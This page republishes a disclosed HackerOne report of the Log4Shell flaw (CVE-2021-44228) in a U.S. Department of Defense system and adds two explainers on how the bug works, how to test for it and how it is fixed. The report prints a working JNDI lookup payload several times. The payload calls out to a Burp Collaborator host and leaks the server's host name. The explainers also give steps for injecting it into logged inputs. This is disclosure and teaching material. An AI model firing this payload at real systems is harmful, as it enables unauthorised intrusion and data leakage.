Skip to content
RCE Disclosed report Beginner CVE-2021-44228

LOGJ4 VUlnerability [HtUS]

A Java application using the Log4j library was vulnerable to the Log4Shell flaw, allowing an attacker to trigger an outbound JNDI lookup by supplying a crafted string in a URL parameter. The reporter claims this could lead to arbitrary code execution, though only a reverse ping to a collaborator server was demonstrated.

ferreiraklet_ Follow

Originally disclosed on HackerOne

Bounty$1,000 Critical View original
  • Triaged in 3 hours
  • Fixed in 38 days
  • Paid in 4 hours
  • Disclosed after 5 months

Description: Hi team,

log4 shell is recent 0-day exploit it's Java package vulnerable. █████ is vulnerable

Impact

RCE

System Host(s)

██████

Affected Product(s) and Version(s)

CVE Numbers

CVE-2021-44228

Steps to Reproduce

  1. Go to this url => https://█████/?x=${jndi:ldap://${hostName}.uri.xxxxx.burpcollaborator.net/a}
  2. paste the poc code on parameter
  3. Then burp collaborator received reverse ping back

Photos below

POC CODE ${jndi:ldap://${hostName}.uri.xxxxx.burpcollaborator.net/a}

Suggested Mitigation/Remediation Actions https://www.lunasec.io/docs/blog/log4j-zero-day/

Impact

Successful attack leads Arbitary Code Execution on the application

The original report as published on HackerOne, by ferreiraklet_. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

The original is short, so this covers everything it reports, then explains this kind of bug in general: how it works, how to test for it and how it is fixed. The general sections are about the bug class, not this target. Written with AI and checked against the original; the original is the record. 4 min read.

What the report shows

The target is a U.S. Department of Defence system, reported through HackerOne by researcher ferreiraklet_. The weakness is recorded as generic command injection, mapped to CVE-2021-44228, the Log4Shell flaw in the Java logging library Log4j. The report was rated critical and paid a bounty of 1,000.00 USD; it was disclosed on 18 November 2022.

The researcher describes Log4Shell as a recent Java package zero-day and states that the affected host is vulnerable. The impact section says the issue allows remote code execution, and a later section repeats that a successful attack leads to arbitrary code execution on the application. The host name and the affected product and version fields are redacted in the published text, so the specific software stack is not visible.

The reproduction is short:

  1. Visit a URL on the target with a JNDI lookup expression placed in a query parameter.
  2. Paste the proof-of-concept payload into that parameter.
  3. Observe that Burp Collaborator receives a reverse ping back.

The URL given in the steps is:

HTTP
https://█████/?x=${jndi:ldap://${hostName}.uri.xxxxx.burpcollaborator.net/a}

The proof-of-concept payload on its own is:

Text
${jndi:ldap://${hostName}.uri.xxxxx.burpcollaborator.net/a}

The report says photos were included below the steps, but no images are present in the published text. The only suggested remediation is a link to an external write-up of the Log4j zero-day. The report does not describe a fix applied by the program, nor any further validation beyond the Collaborator callback.

Root cause

The report places a JNDI lookup expression in a query parameter and observes a callback. Log4j performs lookups on strings it logs, and the ${jndi:...} syntax instructs it to resolve a JNDI name. The payload nests ${hostName} inside the LDAP URL.

Impact

The report claims remote code execution and arbitrary code execution on the application. The evidence shown is a reverse ping back to Burp Collaborator, which indicates the lookup was evaluated. The report does not show command execution or any post-exploitation result.

How this kind of bug works

Log4j supports lookups inside log messages, written as ${prefix:name}. The jndi prefix hands the name to Java's JNDI API, which can contact an LDAP or RMI server and load a remote object. In vulnerable versions, a string that an attacker controls and that the application logs is evaluated, so the attacker's expression causes the server to make an outbound connection to a host the attacker chooses. When the JNDI server returns a reference to a remote class, older Java configurations load and instantiate it, which is how the lookup turns into code execution.

The bug class is injection through a logging or templating layer: data is treated as an expression instead of inert text. It happens because the library resolves expressions by default and because applications routinely log request data such as headers, parameters and user agents. Defences include upgrading Log4j to a fixed release, removing the JNDI lookup capability, restricting outbound network access from application servers, and running on Java versions that block remote class loading through JNDI.

How to test for it

Look for any input that the application is likely to log: query parameters, form fields, the User-Agent, Referer, X-Forwarded-For and other headers, and values inside JSON or XML bodies. Applications that log every request, or that log errors containing the request, are the best candidates.

  1. Set up an out-of-band interaction server you control, such as a Collaborator domain.
  2. Send a payload that references a unique subdomain of that server, using the ${jndi:ldap://...} form with a per-request identifier so you can tell which input triggered the callback.
  3. Place the payload in one input at a time and watch the interaction server for DNS or HTTP traffic.
  4. If a callback arrives, confirm it came from the target's infrastructure and correlates with the request you sent.

A positive result is an out-of-band interaction shortly after the request, tied to the identifier you embedded. Common false positives are callbacks caused by your own tooling, by a proxy or scanner that resolves the name, or by a shared egress service; check the source and timing carefully. Also beware of inputs that are reflected and then fetched by a browser or by a separate crawler rather than by the server. Absence of a callback does not prove safety, since the value may not be logged or the lookup may be disabled.

How it is fixed

The standard fix is to upgrade Log4j to a release that disables JNDI lookups by default, and to remove the lookup behaviour entirely where possible. Where upgrading is not immediate, mitigations include setting the relevant system property to disable message lookups, removing the JNDI classes from the classpath, and blocking outbound LDAP and RMI traffic from application servers. Running on a current Java runtime that refuses remote codebase loading through JNDI adds another layer.

Hunting notes

This bug class hides wherever request data is logged: authentication endpoints, error handlers, search and filter parameters, API gateways and anything that writes access logs with full request details. Recon signals include Java-based stacks, headers or parameters echoed into logs, and third-party components that bundle Log4j. To make a report accepted, show the out-of-band interaction with a unique identifier, state exactly which input triggered it, and be clear about what the callback proves. If you can demonstrate more than a callback, such as a controlled response from your JNDI server, include it, but do not overstate the result beyond the evidence.

The original is short, so this covers everything it reports, then explains this kind of bug in general: how it works, how to test for it and how it is fixed. The general sections are about the bug class, not this target. Written with AI and checked against the original; the original is the record. 7 min read.

What happened, in plain words

This report was filed against a U.S. Department of Defence system through the bug bounty platform HackerOne by a researcher using the handle ferreiraklet_. It was rated critical, paid a bounty of 1,000.00 USD, and was disclosed on 18 November 2022. The weakness is recorded as generic command injection, tied to CVE-2021-44228, the well-known Log4Shell flaw in the Java logging library Log4j.

A quick word on the pieces. A bug bounty program is an arrangement where an organisation invites outside people to look for security problems and pays for good findings. A CVE is a public catalogue number given to a specific known vulnerability, so everyone can refer to the same flaw. Log4j is a very widely used Java library whose job is to write log messages, the diary entries that software keeps about what it is doing. Java is a programming language and runtime used heavily on servers.

The researcher's description is brief: Log4Shell is described as a recent Java package zero-day, and the affected host is stated to be vulnerable. A zero-day means a flaw that was not publicly known and for which no fix existed when it became public. The impact section says the issue allows remote code execution (RCE), meaning an attacker somewhere else on the network could get the server to run commands of their choosing. A later section repeats that a successful attack leads to arbitrary code execution on the application. The host name and the affected product and version fields are redacted in the published text, so the exact software stack is not visible.

The steps to reproduce are short:

  1. Visit a URL on the target with a JNDI lookup expression placed in a query parameter.
  2. Paste the proof-of-concept payload into that parameter.
  3. Observe that Burp Collaborator receives a reverse ping back.

A query parameter is the part of a web address after the question mark, the name=value pairs a site uses to pass information, for example a search term. JNDI is a Java feature for looking up resources by name, a bit like a phone book: you give it a name and it goes and finds the thing. Burp Collaborator is a service that gives you a unique domain you control and records any traffic that reaches it, so you can tell when a target server has contacted it. The "reverse ping back" is that recorded contact: the target reached out to the researcher's domain.

The URL given in the steps is:

HTTP
https://█████/?x=${jndi:ldap://${hostName}.uri.xxxxx.burpcollaborator.net/a}

Line by line: https://█████/ is the target site, with the host redacted. ?x= starts a query parameter named x. The value is the payload. ${jndi:...} tells a vulnerable Log4j to perform a JNDI lookup. ldap:// says which protocol to use for the lookup; LDAP is a directory service protocol, commonly used to look up users and other records. ${hostName} is itself a lookup. .uri.xxxxx.burpcollaborator.net/a is the researcher's Collaborator domain, with part of it redacted.

The proof-of-concept payload on its own is:

Text
${jndi:ldap://${hostName}.uri.xxxxx.burpcollaborator.net/a}

This is the same expression, isolated so it can be pasted into any input. The report says photos were included below the steps, but no images are present in the published text. The only suggested remediation is a link to an external write-up of the Log4j zero-day. The report does not describe a fix applied by the program, nor any further validation beyond the Collaborator callback.

In general, how this kind of bug works

Log4j supports lookups inside log messages, written as ${prefix:name}. The jndi prefix hands the name to Java's JNDI API, which can contact an LDAP or RMI server and load a remote object. RMI is another Java mechanism for calling objects on another machine. In vulnerable versions, a string that an attacker controls and that the application logs is evaluated, so the attacker's expression causes the server to make an outbound connection to a host the attacker chooses. When the JNDI server returns a reference to a remote class, older Java configurations load and instantiate it, which is how the lookup turns into code execution.

The bug class is injection through a logging or templating layer: data is treated as an expression instead of inert text. It happens because the library resolves expressions by default and because applications routinely log request data such as headers, parameters and user agents. Headers are the extra lines of information a browser sends with every request, such as which browser it is. Defences include upgrading Log4j to a fixed release, removing the JNDI lookup capability, restricting outbound network access from application servers, and running on Java versions that block remote class loading through JNDI.

To test for it, look for any input that the application is likely to log: query parameters, form fields, the User-Agent, Referer, X-Forwarded-For and other headers, and values inside JSON or XML bodies. Applications that log every request, or that log errors containing the request, are the best candidates.

  1. Set up an out-of-band interaction server you control, such as a Collaborator domain. Out-of-band means the evidence comes back through a separate channel, here a connection to your own server, rather than in the page response.
  2. Send a payload that references a unique subdomain of that server, using the ${jndi:ldap://...} form with a per-request identifier so you can tell which input triggered the callback.
  3. Place the payload in one input at a time and watch the interaction server for DNS or HTTP traffic. DNS is the system that turns domain names into addresses.
  4. If a callback arrives, confirm it came from the target's infrastructure and correlates with the request you sent.

A positive result is an out-of-band interaction shortly after the request, tied to the identifier you embedded. Common false positives are callbacks caused by your own tooling, by a proxy or scanner that resolves the name, or by a shared egress service; check the source and timing carefully. Also beware of inputs that are reflected and then fetched by a browser or by a separate crawler rather than by the server. Absence of a callback does not prove safety, since the value may not be logged or the lookup may be disabled.

The standard fix is to upgrade Log4j to a release that disables JNDI lookups by default, and to remove the lookup behaviour entirely where possible. Where upgrading is not immediate, mitigations include setting the relevant system property to disable message lookups, removing the JNDI classes from the classpath, and blocking outbound LDAP and RMI traffic from application servers. Running on a current Java runtime that refuses remote codebase loading through JNDI adds another layer.

This bug class hides wherever request data is logged: authentication endpoints, error handlers, search and filter parameters, API gateways and anything that writes access logs with full request details. Recon signals include Java-based stacks, headers or parameters echoed into logs, and third-party components that bundle Log4j. To make a report accepted, show the out-of-band interaction with a unique identifier, state exactly which input triggered it, and be clear about what the callback proves. If you can demonstrate more than a callback, such as a controlled response from your JNDI server, include it, but do not overstate the result beyond the evidence.

Glossary

  • Bug bounty program: an arrangement where an organisation pays outside researchers for reporting security flaws.
  • CVE: a public catalogue number identifying a specific known vulnerability.
  • Log4j: a widely used Java library that writes log messages for applications.
  • Java: a programming language and runtime commonly used on servers.
  • Zero-day: a flaw that was not publicly known and had no fix when first exploited.
  • Remote code execution (RCE): getting a remote server to run commands of the attacker's choosing.
  • Query parameter: a name=value pair in a URL after the question mark, used to pass data to a site.
  • JNDI: a Java feature for looking up resources by name, like a phone book for objects.
  • LDAP: a directory service protocol often used to look up users and records.
  • RMI: a Java mechanism for calling objects on another machine.
  • Burp Collaborator: a service providing a unique domain that records any traffic reaching it.
  • Out-of-band: evidence that arrives through a separate channel, such as a connection to your own server.
  • DNS: the system that translates domain names into network addresses.
  • Headers: extra lines of information a browser sends with each request.
  • Injection: a bug where data supplied by a user is treated as instructions by the software.
  • False positive: a result that looks like a finding but is caused by something else.

More by ferreiraklet_

View all

2 more disclosed reports, best first.

More from U.S. Dept Of Defense

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.